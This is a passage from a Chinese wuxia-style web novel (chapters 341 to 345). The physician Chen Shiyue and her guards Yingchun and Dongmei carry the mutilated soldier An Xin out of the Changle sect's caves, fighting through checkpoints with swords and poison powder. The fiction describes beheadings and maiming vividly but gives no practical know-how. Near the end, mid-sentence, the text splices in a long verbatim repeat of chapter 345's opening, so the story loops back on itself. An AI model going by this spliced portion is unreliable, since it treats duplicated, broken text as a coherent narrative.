陈识月下针很稳很快,没有受外头的影响,只专心想救安信。 等到施针完毕,她自己也出了一身的汗。 “等我一刻钟,只要一刻钟。”陈识月忙道,“一刻钟之后,药效和我施针的效用都会显现,他就能暂时清醒过来。” 宛若当日的霍青行,也是快死了,被她一颗药一顿施针,从鬼门关生生拉了回来,现在的安信也是这样,手法都一样,过程也一样,期待结果……也如此。 不过在这之前,陈识月掰开安信的嘴喂药时,还发现了一桩事。 安信的舌头,没了! 不只是舌头没了,双目被剜,双耳被切,手筋脚筋都被挑断。 等于,废人。 陈识月的心里在滴血,安信可是在边关厮杀的将士啊! 卫国戍边,铁骨铮铮。 这样的汉子,面对蛮子的时候都从不退一步,却在自己的国境内,被长乐门的人害成这样,陈识月何其不甘,何其心痛。 有安信在,敌军不知要伤亡几何,将士哪怕是战死沙场都无怨尤,可…… 如何对得起这些为国征战的勇士? 怎么对得起忘我生死的功臣? 瞧着陈识月抹泪,迎春心里也不好受,她很少见着陈识月落泪,此番也觉得心疼,“姑娘,事已至此,无可挽回,只能说……长乐门不死,咱们不休!” “他跟着霍青行,在边关杀了那么多犯我边境的蛮子,朝廷和百姓都还没来得及感谢他们,却在长乐门的手里落得如此下场……迎春,我心里难受。”陈识月哽咽。 迎春深吸一口气,努力平复心绪,“这笔账,我们一定会算清楚的。长乐门恶贯满盈,早晚有他们的好果子吃!” “好像有人来了!”冬梅低呼。 四个护卫也快速赶回来,“姑娘?都没有!” 外面那些囚室,几乎都找遍了,没有发现林序他们的踪影,不知道人此刻到底在哪?但是…… “去把那副担架拿下来。”迎春当机立断。 用担架抬着昏死的安信,快速转移,这地方等同于绝境,得先出去才行。 “姑娘放心,我与冬梅虽为女子,上不了战场,当不了身先士卒的車,但咱也有一腔热血,不做祸国殃民的狗,不像这帮助纣为虐的杂碎。”迎春深吸一口气,“必定拼尽全力,保护安大人周全。” 哪怕这位安大人,已然是个废人。 不能让边关将士寒心。 不能让为众抱薪者,冻毙于寒夜。 “我们一起!”陈识月深吸一口气。 往外冲,毫不犹豫的往外冲。 “诸位!”身后有人开口,“你们说的我都听清楚了,这位是……戍关的将士?诸位是为了营救他才来的?” 陈识月转身,郑重其事的点头。 “这帮该死的东西!”男人开口,“我们是江湖人,因为坏了长乐门的事,救了几个姑娘,才会被抓起来,现如今……该是我们干点,男人该做的事儿了!诸位兄弟,横竖都是死,如今有了一搏之机,倒不如死得有意点,杀一个是一个,杀一对就是赚!” 这囚室里,关了很多人,误入的早就跑出去了,唯有这些人事后还帮忙打开囚室,帮着其他人逃出来,想来也是心有正义的好汉。 “你们快走!”男人捡起了地上的刀。 身后一行人悉数照做,将囚室内所有能用的,趁手的利器拿捏,“跟他们拼了!” “多谢!”陈识月拱手。 护卫抬着安信,快速离开。 冬梅和迎春双双拱手,“多谢好汉!后会有期!大家都要保重!” 有他们拖着,安信的生机又多了几分。 跑出去没多久,后面就传来了交战声。 刀剑碰撞之音,嘶喊声,咒骂声,声声不绝于耳…… 陈识月不敢回头看,她顾不了那么多了,安信可能知道汗血宝马的主人是谁,他兴许是最后的知情者,那人最后拿下了安信却没有直接杀了他,估摸着……是想从安心的嘴里掏出点东西来。 是什么? 将军府的秘密? 还是边关的秘密?但不管是哪一种,对朝廷对将军府来说,都不是好事。 安信若是说了,也不会落得如此下场,他能跟着林序,跟着霍青行,厮杀在边关的人,怎么可能是孬种? 正因为如此,所以才会被挖眼割耳,断了舌头…… 跑出去了好一段路,后面彻底没了声响。 到了暗河边上的时候,担架被放下来,羸弱的火光亮起,陈识月重新检查了一番安信的状况,还好银针都没有移位,如今全部拔出之后,也算放心。 安信一偏头,“哇”的吐出一口污血。 “淤血吐出来了,能活!”陈识月如释重负,“我能救活他!” 这是个好消息。 大概也是因为吐出了一口淤血的缘故,安信幽幽转动了脑袋,好像察觉到了陈识月的存在,他张了张嘴,只能发出些许呜咽。 “安信,是我!”即便被割掉了耳朵,但是耳膜还在,耳蜗还在,所以他应该还有一些听觉,只是疼痛会模糊了听力,让他无法将声音辨得太清楚,“我是月大夫,我来救你了!” 安信挣扎了一下。 “姑娘,他听懂了!”迎春欣喜。 陈识月连连点头,冬梅已经去弄了点水,小心翼翼的擦拭在安信干裂的唇瓣上,让他能稍稍舒服一些。 “别紧张。”陈识月握住了他的手,给与了他活下去的力量,“我一定带你回去见少将军。” 安信无力的点了两下头,便耷拉着脑袋晕死过去。 “他……” “没事!”陈识月解释,“伤太重,晕过去了。” 当时霍青行的身上也出现过这样的状况,只不过霍青行内力深厚,功夫好,所以撑到了上山来找她,后来也是晕死了好一阵,还因此变成了傻子。 回过神来,陈识月环顾四周,“我们要出去。” 先把安信送出去再说! 至于林序…… 能救一个算一个,林序本来也是为了安信的事情,为了汗血宝马的事情而来。 他们的目的一致,也算是殊途同归。 “走!” 众人抬起担架就走…… 第三百四十二章 我带你们出去 洞窟黑漆漆的,若是不熟悉路径,怕是很难走出去,但即便如此,也得往外走,安信这条命就在他们的手心里,无论如何都不能放弃。 所有人都不知道,即将面对的是什么,但不走不行,如今的局面已经闹开了,那些江湖好汉都在为他们兜底,所以这一次绝对不能输。 那么多人,那么多条性命…… 不能输! 约莫是一两个时辰过后,大家像是没头苍蝇一般到处乱窜,实在是有些心力交瘁。 “停下来吧!”陈识月音色低沉。 冬梅和迎春赶紧搀了她一把,“姑娘,你是不是累了?” 陈识月摇摇头,“没什么大碍,就是觉得这么走也不是个事,还是得找个法子才行。这地方指南针和各种物什都不管用,我们如同被关在了笼子里一般,到处乱跑反而危险。” “那边好像能躲一躲。”冬梅伸手一指。 陈识月点点头。 钻进一个洞内,大家便将洞口用石块堵住,其后陈识月便开始检查安信的伤势。 “如何?”冬梅手持火折子,低声询问。 陈识月松了口气,“很好!” 自己的药,加上施针是淬了血,安信的伤势恢复得很好,只不过……丢了的眼睛、舌头、耳朵都回不来了,这是没办法重生的东西。 所幸伤口开始愈合,不再有太大的性命之忧,只要能继续保持下去,他就可以活着走出去! “那就好!”冬梅和迎春都松了口气。 能活就好! 只不过这会,安信依旧昏迷不醒。 “接下来只能用背的。”迎春开口。 陈识月明白,这担架太碍事了,他们得轻装简行,快速穿行。 “有我在,没问题!”陈识月点头。 冬梅想了想,“我去探探路,姑娘先躲在这里,切莫轻举妄动。” 她一个人,反倒轻松。 “你自己小心,若是察觉到不对,莫要逞强。”陈识月握紧了她的手腕,止不住叮嘱,“一定要小心啊!” 冬梅点点头,“姑娘只管放心,我心里有数。”“是啊姑娘,冬梅的功夫你也见过的,绝对不会有问题。”迎春忙宽慰。 现在的陈识月就像是惊弓之鸟,精神高度紧绷。这些人都是跟着她出来的,她觉得自己有义务有责任,把他们都活着带回去…… 冬梅出去了,然后便是沉默。 无止境的沉默,这四周就好像是按下了暂停键一般,什么声音都消失了,每个人都在屏气凝神,都在竖起耳朵听着外头的声音。 没有声音,毫无动静,这样的安静,让人心里不安。 冬梅单独行动,自然是速度极快,对每条路都有所标记,只不过他们来时的路已经回去不了,随处可见的巡逻和搜寻的守卫,大概是因为此前动静太大,所以戒备越发森严。 不知道这算不算全体出动? 又或者是…… 冬梅眸色微冷,如凌空飞燕,速度极快的掠过上方,稳稳的落在黑暗的角落里,背靠着石块,居高临下的看着底下的人来人往。 “找到没有?” “没有!” “肯定还有人藏在角落里。” “这帮不知死活的东西,就这么点本事,也敢跟我们长乐门叫嚣,真是不知死活。” 冬梅皱起眉头,看着板车运送了尸体离开。 想了想,冬梅忽然生出一个想法。 尸体不可能放在洞内发烂,否则的话臭气熏天,这整个洞窟不得都废了吗? 所以…… 冬梅悄无声息的跟在他们的后面,大概是运送死人的缘故,所以就左右两个看着,加上一个推车的车夫,三人同行,偶尔轮换着推车。 因为都是死人,所以看守的和巡逻的守卫也都懒得管,怕沾染晦气似的。 冬梅悄无声息的跟着,记住他们所走的每一步。 这条路很偏,只有两道关卡,每道关卡只有四个人,但是他们的旁边都有一个铜铃,有一人随时守在铜铃旁边,似乎只要一摇铃消息就能传送出去…… 冬梅皱起眉头,附近不会还有人藏着吧? 又或者是守卫的休息地,大本营就在附近? 这也不是没可能的。 记住了路线之后,冬梅便看到了一个洞口,不知道走了多久,反正外头有些光亮,洞口很是偏僻,只够一辆独轮板车出去。外头,有人在说话,应该是守卫无疑。 冬梅没有过去,这附近没有遮蔽处,所以她不能打草惊蛇。 人被送出去之后,那两个押送的守卫没有跟着回来,大概是去处理尸体了,只有推车的继续往回走,就好像什么都没发生过一般,神情冷漠得让人心寒。 冬梅深吸一口气,又跟着回来了。 出去是不可能的,得尽快回去通知姑娘他们。 然而等她掉头的时候,却发现大批的守卫都冲了过来,虽然不是冲着自己而来,但瞧着阵仗那么大,估计又出了什么事? “坏了,姑娘?”冬梅忙不迭往回跑。 可千万千万,不要出事啊! 所幸,无事。 瞧着冬梅着急忙慌的回来,所有人都是一愣一愣的。 “没事就好!”冬梅松了口气。 陈识月不解,“怎么了?外面出什么事情了吗?” “你被发现了?”迎春追问。 冬梅摇摇头,“那倒没有,我还跟着送尸体的人,出了一趟,大概摸清楚了出去的路,只不过回来的时候发现他们好像又闹起来了,不知道是想追咱们?还是又有人闯入?” 听得这话,陈识月和迎春对视一眼。 “那肯定不是冲着咱来的,你出去之后,我们一直待在这里没有离开过。”迎春皱起眉头,“又有人闯入?若是动不动这样,会不会很快就要搬走了?” 这地方不安全,肯定是要挪个窝的。 “附近这一带,只有这地方才是最安全的,虽然不断有人闯入,但构不成威胁。”陈识月分析,“只要不是朝廷出手,这些小动作跟整个洞窟的安全比起来,都只是小巫见大巫,不足为虑。” 所以这些人暂时不会跑的,但是对待进来的那些人,只会下手更加狠辣无情。 回过神来,陈识月看向冬梅,“你确定看好路线了?” “是!”冬梅点头,“但是出去可能有点麻烦,有两道关卡,还有看守的人,破关卡最要紧的就是先控制那个摇铃的人,只要那铜铃一响,怕是会有人蜂拥而至。” 迎春想了想,“到时候交给我便是,我保准在那人摇铃之前,把他的手剁下来!” 她对自己的速度,是有绝对的信心的。 “好!”冬梅点头,“其他人交给我!” 迎春颔首,“好,你且领路!” 第三百四十三章 为他杀出一条血路 冬梅在前面领路,迎春紧随其后。 护卫背着昏迷的安信,陈识月则在边上小心看着,若是安信有任何的异常,她也好及时处置,决不能让他有任何的危险。 “看到了吗?前面的关卡。”冬梅看向身边的迎春。 迎春点点头,“那个铜铃……” “没错,就是那个铜铃!”冬梅死死盯着正前方,“你要知道,一旦铜铃响,附近的守卫都会被惊动,我更担心周围还有守卫的休息之处,要是都冲上来,咱倒是无所谓,安大人怕是经不起折腾。” 本来就是跟阎王爷抢人,这要是一折腾,摔着、磕着、碰着……后果不堪设想。 迎春眯起危险的眸子,“我来搞定那个敲钟的,你等我的消息。” 闻言,冬梅蛰伏下来,一动不动,抬眸死死盯着迎春的动作。 要想干掉那个摇铃的,就得先绕到后面去,只不过这边岩壁都是湿哒哒的,要想绕过去需得十分小心,另一侧有些陡峭,稍有不慎怕是会摔成重伤。 底下石柱如同陷阱木桩,上有锐刺,说不好……会扎个透身凉,不得大意! 迎春的轻功是好,但要不惊动这些人,便有些难度,因为空间太狭小,环境有点恶劣,纵身一跃轻轻落下,趁着四下黑漆漆的,一个滑行又凌空翻越,这才小心谨慎的倒挂在顶上的石柱处。 岩壁缝隙里渗出来的水,沁凉沁凉的,滴落在迎春的背上,发出细微的闷响。 迎春不敢动弹,死死盯着底下的摇铃人。 深吸一口气,她心知必须万无一失,忽然身形下滑,宛若灵蛇出洞。 只见寒光一闪,顷刻间人头落地。 迎春的动作很快,快到所有人都来不及反应,便是死者的脑袋在滚落地的时候,还眨了一下眼睛,直勾勾的盯着自己的无头躯体。 终于,无头尸重重倒地。 铜铃没响。 但倒地的闷响还是惊动了坐在前面石头上,聊着天看守关卡的几人。 众人旋即回过头来,嗖嗖嗖的站起身,却骤见一样东西被踢到了自己的脚下,等他们反应过来的瞬间,当即失声尖叫。 “头!是头。” 一颗血淋淋的脑袋,被踹到了他们的脚下。 可惜,他们刚喊出声,就被冬梅和迎春联手抹了脖子,甚至于来不及反抗。 及至确定所有人都死了,迎春赶紧招招手。 陈识月松了口气,带着人快速上前。“都处理干净了。”迎春忙道,“我们快走,这里很快就会被人发现的。” 那挪运尸体的估计很快就会过来,所以留给他们的时间并不多。 冬梅左手一个,右手一个,将尸体拎起来丢一旁,仿佛是一帮人凑一起聊天,背对着外头的小道,若不走近了看,是不会发现猫腻的。 “这样可以吗?”冬梅问。 迎春点点头,“可以!” 有人靠在石壁处打盹,有人凑一块好似说着什么,瞧着还真像是那么回事。 “走!”陈识月一招手,众人快速离开。 这是第一道关卡,所以接下来还有第二道关卡,必须得小心谨慎,不能有过多的时间在这里耽误,否则运尸车过来,可就什么都来不及了。 只不过…… “姑娘?”迎春皱眉,“怎么了?” 陈识月回头看了两眼,总觉得有些不太对劲。 “我怎么觉得,好像有人在跟着我们?”陈识月环顾四周,若有所思的看向迎春。 迎春回眸,冬梅也看了看周遭,倒是没发现什么异常,不知道是陈识月太紧张所致,还是那人的功夫在她们之上呢? 又或者是,真的是大意了? “如果是长乐门的人,应该要出来阻止我们。”迎春的脸色不太好,“但若不是,为什么要盯着我们呢?是志同道合?还是纯属好奇?” 之前也没见着此人出来帮过忙,若真的有这么个人,的确也莫不清楚对方的意图…… 图什么呢? 谁知道呢! “不管了,先出去再说。”陈识月深吸一口气,“安信要紧!” 这条命还悬着呢! 一行人快速朝着前方奔去,尽量在最短的时间内出去。 只不过…… “谁?站住!” 侧边的道上忽然有人高声喊。那一刻,三护卫快速站出来,“姑娘先走,这里交给我们,我们来拖延时间。” 陈识月毫不犹豫,“你们打不过就跑,不要恋战,冬梅迎春……我们走!” 凡事都有取舍,她自知没能力阻挡一切,只有保全安信的性命,才有机会知晓当日发生的事情,老二老三他们的死亡真相。 冬梅冲在前面,迎春紧随其后,护卫背着安信跑,陈识月小心看护。 每个人分工明确,只想救安信出去。 后面的动静越来越大,陈识月却是连头也不敢回,眼见着快要冲到第二个关卡,冲出一队人马,人头攒动,人数不少。 “交给我!”冬梅厉喝,“快走!” 陈识月没有犹豫,迎春带头跑,他们就跟在后面。 铜铃响了,在他们赶到之前,这下子整个洞窟都炸开了锅,几乎是乱作一团,到处都是乱哄哄的,刀剑碰撞之音,厮杀声,各种呐喊声,响彻耳畔。 洞窟会回音,声音传出去很远。 迎春一剑便将摇铃劈落在地,反手便切了摇铃人的脑袋,鲜血喷溅,眸中杀意凌然,“姑娘,快出去!” 可前面还有一段路,已经被后续赶来的守卫拦截,她想过去就得先解决了前面的这些人,护卫背着安信,自然是没办法出手,只能勉励躲闪,尽量护住身后的安信。 “闪开!屏住呼吸往前冲!”陈识月立在他身侧,目光如刃,拂袖间便有白色粉末洒出,动作极快,力道亦不轻。 刹那间,惨叫声立时响起。 护卫屏住呼吸,驾驭轻功腾空而去,快速越过了人群,稳稳的落在了包围圈外头,“姑娘?” “别管我,走!”陈识月怒喝,“一定要把人交到他手里。” 护卫知道,她口中的他指的是谁,但现在冲回去,等于让姑娘的心血白费,当即背好了安信,朝着出口跑去。 “迎春,送他出去!”陈识月疾呼。 迎春知道陈识月的心思,就算他们都出不去,只要和姑娘在一起,便不算是辜负了少将军所托,但若是安信死在这里,那此前那些人都白死了! “是!”迎春长剑生风,狠狠砍下来人的胳膊。 惨叫声震耳欲聋。 纵身而起,身轻如燕。 迎春越过人群,直奔洞口而去,她要为安信杀出一条血路。 里面的闹腾已经惊动了门口的守卫们,这会正反扑过来…… 第三百四十四章 这血怎么会止不住? 护卫一人自是无法抵挡,又不能把安信放下,所幸迎春赶到了,手起剑落便为他们劈出了一条血路,但围上来的人也越来越多。 双拳难敌四手,一人如何能抵挡这么多人? 即便迎春下手快准狠,却也是血肉之躯,免不得会被暗算。 “你先走,别管这里了!只要安大人周全,我们就可以放开手脚去救姑娘!”迎春叮嘱,“快走!快走!” 这个时候,任何的犹豫都是对已牺牲的不尊重。 护卫咬咬牙,背着安信就冲。 迎春的背后被暗算,砍了一刀,鲜血直流,但她没有停下,反手就结果了那些人的性命,直到护送他们出了洞口,这才如释重负的松了口气。 “快跑!” 迎春以身挡门,所幸外头居然有几匹马拴在树上,护卫快速用要腰带将自己和安信绑在一起,翻身上马就跑。 眼见着人跑了,迎春咬牙就杀了回去,姑娘还在里面呢! 但,门口的人不能放出去,一旦放出去,那边带着个病患,杀过去便是危险…… 思及此处,迎春下手更是狠辣,只不过背上的伤不断出血,时间久了,体力不支,她的面色愈发苍白难看。 冬梅的状况则好一些,相比起迎春,她的硬功夫在硬碰硬的时候,更占上风,眼见着刀子要落在陈识月的身上,一个飞踹就把一人踹进了人堆。 刹那间,飞出去一片…… “姑娘!”冬梅把人挡在身后。 陈识月手里还提着剑,虽然不会功夫,但也不是手无缚鸡之力,成日上山攀岩挖草药的人,不可能毫无力气,只是打起架来没她们这般快准狠而已,三脚猫的功夫只能庇护自己一时。 好在她方才那一撒粉末的功夫,让好多人不敢靠近,毕竟地上横七竖八被毒死的尸体,露在外面的肌肤上全是溃烂的血污,谁见着不得忌她三分。 “我没事!”陈识月大口大口的喘着气。 乌泱泱的一圈人,几乎将她们团团围住。 “快,去帮迎春!”陈识月惊呼。 说着,她从随身小包里掏出一枚药丸,作势要往人群里丢,惊得这帮人几乎是下意识的闪避,这便给了冬梅可趁之机,当即拽着陈识月冲了出去。 “迎春,坚持住!”冬梅一声喊,愤怒的她如箭离弦,当着所有人的面,瞬时撕下了一人的胳膊,顷刻间的鲜血喷溅,让所有人都傻了眼。 人都是贪生怕死的,之所以入长乐门,不也是想享受荣华富贵吗? 可这富贵荣华还没享受到,就要被人撕成两截,瞧着倒地的兄弟这般歇斯底里的痛苦打滚,谁还敢贸贸然往前冲? 不远处,那三个护卫也杀了过来,只不过每个人的身上都带着大大小小的伤。 “小心!”陈识月惊呼。冷箭忽然袭来。 冬梅的动作快,一脚踹得了地上的剑。 冷剑擦着护卫的耳畔而过,直接圻断了袭来的冷箭。 差一点,那箭就中了颈部。 真的只是差一点…… 只不过,光顾着三护卫,以至于谁都没料到,在自己的背后也有人放冷箭。 迎春闪避不及,一声闷哼,胳膊上已经扎了一支箭。 亏得陈识月反应快,“箭上有毒!” 解毒丸已经塞进了迎春的嘴里,在猝不及防的瞬间,冬梅狠狠圻断淬了毒的箭矢,将前面的箭身拔了出来,紧接着便撕下衣角快速为她包扎胳膊。 唯有这样,才能避免毒性的大剂量淬入。 “我没事……快救人!”迎春嘴上说着没事,但这毒来势汹汹,万分狠辣,以至于解毒丸都还没来得及生效,她就已经瘫跪在地,面色惨白如纸。 陈识月心惊,“迎春?” 冬梅也慌了。 眼见着有人要冲出洞口,迎春急了,“不能让他们出去!” 他们挡住了洞口,是为逃出去的安信和那护卫争取时间,若是挡不住的话…… 但是迎春现在的状况,怕也挡不住这些人了。 陈识月扬起头,瞧着洞口上方的那块石头,然后冲着冬梅使了个眼色,“我们可以争取点时间,这洞窟又不是只有这一个洞口,但是……这些人绝对不能这样出去。” 外面林子大,其他洞口出去再绕回来,一时半会未必能找到安信他们,但这条路出去,追上安信他们的概率就大很多。 冬梅犹豫了。 “听我的。”陈识月低喝。 迎春急了,“姑娘快出去!” 陈识月握紧她的手,“我若出去,你怎么办?冬梅,还不动手?” 刹那间,冬梅一跃而起。 乱石崩塌,光亮顷刻间被乱石遮蔽。 洞口忽然间的崩塌,让所有人都开始慌乱,趁着黑暗,冬梅一手抓住陈识月,一手抓住迎春,登时飞身而起。陈识月眼疾手快,飞上半空的瞬间,撒了一把粉末。 “走!” 三护卫领命,反应极快,当即一溜烟跟着跑。 这把粉末让人昏昏沉沉,就好像喝醉了酒一般,一个两个东倒西歪的,在人群里撞来跌去,摇摇晃晃的,弄得人仰马翻的。 还有人开始高声唱歌,有人开始跳舞,有人开始哈哈大笑…… 这一通操作下来,离得近的以为这些人都中了毒,吓得不敢靠近,杀又杀不得,抓又抓不住,一个个活蹦乱跳,比年猪还难摁。 “扣住他们,抓住他们!” “哎呀,别、别咬我!” 场面,乱成一团。 趁着这个机会,冬梅带着众人挤进了一个洞窟,其后便慌张的与众人合力,将洞口用石头堵住,连火折子都不敢打开。 里面黑漆漆的,没有半点光亮,所有人都屏住呼吸,生怕被人找到,便是身上有伤痛也得强行忍着,不能有任何的动静。 脚步声哗啦啦的从前面跑过去,吵闹声一浪高过一浪。 洞窟内,所有人都绷紧了神经。 除了陈识月,每个人都伤得不轻,密闭的洞窟内,逐渐漾开浓郁的血腥味。 说不紧张是假的,此时此刻的陈识月,手脚都在抖,很多反应都是出自本能,人生第一遭直面被人围追堵截的追杀,脑子里唯余一片空白。 以前被朝廷追杀,至少她跑得快,人家只是追……还没杀到跟前呢! 可现在,是又追又杀,还直接杀到了眼前。 太吓人了! 太刺激,心口砰砰乱跳。 半晌过后,外面似乎没了动静。 陈识月这才想起迎春,慌忙转身去看,“迎春?” 迎春没有回应。 “迎春?”冬梅骇然心惊,“迎春?” 迎春靠在岩壁处,耷拉着脑袋,胳膊上的血止不住往外冒,已然陷入了昏迷…… 这血,怎么止不住? 第三百四十五章 她好像不太对劲? 冬梅慌忙伸手摁住迎春的伤口,嗓音里都透着颤抖,“怎么会这样?” 护卫围拢上来,当即取出火折子,一时间面面相觑,不知道迎春是不是早有旧疾? “是这毒的缘故,我大意了!”陈识月忙不迭从随身小包里取药,取针包,“外邦的东西,很少在中原出现过,早些年在战场上倒是屡见不鲜。” 冬梅诧异,“姑娘是说……这东西曾经用在战场上?” “兵不厌诈。”陈识月快速解开布条,借着羸弱的火光,重新审视迎春的伤口,“果然如此,我的推断没错,居然是这样……” 好在她处理这些伤都是有经验的,动作干脆利落,没有半点拖泥带水,施针、上药一气呵成,利落的包扎好伤口,陈识月冷着脸,重新扣住了迎春的腕脉。 在这个过程里,没人说话,连呼吸都极为小心,生怕惊扰了陈识月救人的动作。 及至陈识月撤了手,冬梅才低低的开口,“姑娘,她如何?” “放心,有我在。”陈识月面色凝重,摸了摸自己的随身小包,话是这么说的,但就这么一个小包,哪儿经得起造? 再在这里待下去,她就算有一身医术,若无药辅助,便是巧妇难为无米之炊,到时候什么都做不了。 现如今每个人的身上都有伤…… “你们如何?”陈识月问。 三护卫忙道,“我们都是皮外伤,不打紧的,姑娘不必麻烦了。药留着,以备不时之需。” 其实他们都清楚,眼下最危险的是迎春。 冬梅一拳砸向岩壁,但到了关头又想起自己的力道,忙收了手,万一真的给砸穿了,或者是砸出个动静,必定暴露大家的位置。 怒火无法发泄,她这心里头就更气了…… “到底是哪个王八犊子放的冷箭?”冬梅切齿,“若是让我抓住……必定活撕了他!” 藏在暗处? 暗箭伤人? 陈识月沉默,一时间也没有头绪。 现下,还是以迎春的身子为主,只要迎春能无碍,那这一切便都是值得的。 迎春失血过多,这会昏睡不醒,好在命是保住了。“姑娘,迎春这毒……”冬梅回过神来。 恶人虽然可恶,但没抓住就没办法处置,可活人还活着呀! 凡事,自然要以活人为先。 “放心,我有办法!”陈识月想起了自己这一身的骨血,“我绝对不会让迎春有事的。” 没成想,到了绝路的时候,自己就成了路。 可见,有的时候真的是福祸相依。 “多亏了姑娘,否则迎春这条命怕是保不住。”冬梅心里很清楚。 若不是陈识月下手快,见识多,医术好,只怕迎春这条命得丢在这里,好在这会还能喘气,对他们这些江湖人来说,处处无家处处家,能活一日是一日。 这就是最好的结果! “姑娘!”冬梅嗓音里带着几分哽咽,更多的是愧疚,“答应了少将军,要保护好姑娘的周全,可没想到……最后竟是让姑娘陪我们冒险,落在这里生死难料,是我们食言了!” 陈识月还在思考着,要怎么才能让迎春快点好起来,却不料冬梅竟开始了自责,当即回过神来拍了拍冬梅的胳膊,“你胡言乱语什么?我们是一起来的,自然要一起回去,何况安信已经被救出去了,只要能与外头接应的人汇合,一切都会好起来。” 至于她自己…… “是我连累了你们,要不是为了救我,以你们的能力应该早就杀出去了吧!”她不会功夫,到底成了所有人的拖累。 冬梅连连摆手,“不对不对,是因为姑娘才让我们活下来的,你这左手一撒,右手一挥的,好生厉害,我瞧着怕是也躲不过这两下子,那都是什么啊?” “都是一些自保的小把戏,东西虽然厉害,却也是分外难得,我这两下子,能让我好几个月的心血白费。”陈识月有些感慨,到底还是太大手大脚了。 冬梅诧异,“这么费事?” “费时费力也费药。”陈识月提起这个就有些心痛,“要配药,还得提纯,得日夜盯着煎药,当中繁琐是一刻都离不开人。” 冬梅似懂非懂,只知道“繁琐”二字。 这东西,很难得。 “姑娘,这么一折腾,你也累了吧?”冬梅看了一眼洞口位置,“趁着现在还算是安全,你歇一歇,我们先看着点。” 陈识月侧耳听着外面的动静,倒是真的没再听到脚步声什么的,“不着急,我先为迎春施针,别看她现在好似平稳下来,可失血太多,终究不是个事儿。”施针? “你拿好火折子,为我照明。”陈识月叮嘱。 冬梅连连点头,“好!” 火折子的光亮很羸弱,但没办法,如今的状况不允许他们燃起火把,或者是其他的照明物,一旦冒烟冒出明火,就会被他人所察觉。 但是,火折子也是有限的。 再这样下去,火折子也得废了,到时候他们便什么光都没了…… 正是担心如此,所以只有一根火折子照明,每个人都省点用,在没有出去之前,所有的状况都有可能发生,必须要给自己留有退路。 针尖沾血,陈识月下针很小心,一则是环境太黑,二则自己也有些撑不住,身心俱疲,这样的状况下,每一针都得三思,但又得既快又准,不能有任何的耽搁。 迎春有些低哼,嘴里似乎是嘀咕了什么,额头不断有冷汗渗出,大概是因为失血过多的缘故,通体冰凉,甚至于身子都有些轻微的发颤。 “坚持一下。”冬梅伏在她耳畔低语,“迎春,别动别动!” 许是听到,被安抚住,迎春逐渐平静下来,靠在冬梅的怀中,任由陈识月下针。 约莫过了一刻钟左右,迎春面色稍缓,呼吸均匀,瞧着似乎情况有所好转,只是等到施针结束,冬梅才发现陈识月似乎有些不太对劲。 徐徐将迎春放开,让她靠在了岩壁上,冬梅褪下外衣盖在了迎春的身上,“姑娘,你休息一会,脸色很差。” 可能是累着了? 先前吓着,如今累着,可不是身心俱疲嘛! “好!”陈识月脱力般靠在岩壁处,想说点什么,奈何眼皮子越来越重,到最后脑袋一歪就睡了过去,仿佛是累到了极处。 指尖的取血伤早已愈合,但是每次的取血都好似在耗费她的精气神,让她整个人都快速萎靡下来,疲惫不堪,倦怠不已。 “姑娘?”冬梅心头一紧。 没有回应。 “姑娘?”冬梅又低唤一声。 她怎么觉得这状况不太对?冬梅慌忙伸手摁住迎春的伤口,嗓音里都透着颤抖,“怎么会这样?” 护卫围拢上来,当即取出火折子,一时间面面相觑,不知道迎春是不是早有旧疾? “是这毒的缘故,我大意了!”陈识月忙不迭从随身小包里取药,取针包,“外邦的东西,很少在中原出现过,早些年在战场上倒是屡见不鲜。” 冬梅诧异,“姑娘是说……这东西曾经用在战场上?” “兵不厌诈。”陈识月快速解开布条,借着羸弱的火光,重新审视迎春的伤口,“果然如此,我的推断没错,居然是这样……” 好在她处理这些伤都是有经验的,动作干脆利落,没有半点拖泥带水,施针、上药一气呵成,利落的包扎好伤口,陈识月冷着脸,重新扣住了迎春的腕脉。 在这个过程里,没人说话,连呼吸都极为小心,生怕惊扰了陈识月救人的动作。 及至陈识月撤了手,冬梅才低低的开口,“姑娘,她如何?” “放心,有我在。”陈识月面色凝重,摸了摸自己的随身小包,话是这么说的,但就这么一个小包,哪儿经得起造? 再在这里待下去,她就算有一身医术,若无药辅助,便是巧妇难为无米之炊,到时候什么都做不了。 现如今每个人的身上都有伤…… “你们如何?”陈识月问。 三护卫忙道,“我们都是皮外伤,不打紧的,姑娘不必麻烦了。药留着,以备不时之需。” 其实他们都清楚,眼下最危险的是迎春。 冬梅一拳砸向岩壁,但到了关头又想起自己的力道,忙收了手,万一真的给砸穿了,或者是砸出个动静,必定暴露大家的位置。 怒火无法发泄,她这心里头就更气了…… “到底是哪个王八犊子放的冷箭?”冬梅切齿,“若是让我抓住……必定活撕了他!” 藏在暗处? 暗箭伤人? 陈识月沉默,一时间也没有头绪。 现下,还是以迎春的身子为主,只要迎春能无碍,那这一切便都是值得的。 迎春失血过多,这会昏睡不醒,好在命是保住了。“姑娘,迎春这毒……”冬梅回过神来。 恶人虽然可恶,但没抓住就没办法处置,可活人还活着呀! 凡事,自然要以活人为先。 “放心,我有办法!”陈识月想起了自己这一身的骨血,“我绝对不会让迎春有事的。” 没成想,到了绝路的时候,自己就成了路。 可见,有的时候真的是福祸相依。 “多亏了姑娘,否则迎春这条命怕是保不住。”冬梅心里很清楚。 若不是陈识月下手快,见识多,医术好,只怕迎春这条命得丢在这里,好在这会还能喘气,对他们这些江湖人来说,处处无家处处家,能活一日是一日。 这就是最好的结果! “姑娘!”冬梅嗓音里带着几分哽咽,更多的是愧疚,“答应了少将军,要保护好姑娘的周全,可没想到……最后竟是让姑娘陪我们冒险,落在这里生死难料,是我们食言了!” 陈识月还在思考着,要怎么才能让迎春快点好起来,却不料冬梅竟开始了自责,当即回过神来拍了拍冬梅的胳膊,“你胡言乱语什么?我们是一起来的,自然要一起回去,何况安信已经被救出去了,只要能与外头接应的人汇合,一切都会好起来。” 至于她自己…… “是我连累了你们,要不是为了救我,以你们的能力应该早就杀出去了吧!”她不会功夫,到底成了所有人的拖累。 冬梅连连摆手,“不对不对,是因为姑娘才让我们活下来的,你这左手一撒,右手一挥的,好生厉害,我瞧着怕是也躲不过这两下子,那都是什么啊?” “都是一些自保的小把戏,东西虽然厉害,却也是分外难得,我这两下子,能让我好几个月的心血白费。”陈识月有些感慨,到底还是太大手大脚了。 冬梅诧异,“这么费事?” “费时费力也费药。”陈识月提起这个就有些心痛,“要配药,还得提纯,得日夜盯着煎药,当中繁琐是一刻都离不开人。” 冬梅似懂非懂,只知道“繁琐”二字。 这东西,很难得。 “姑娘,这么一折腾,你也累了吧?”冬梅看了一眼洞口位置,“趁着现在还算是安全,你歇一歇,我们先看着点。” 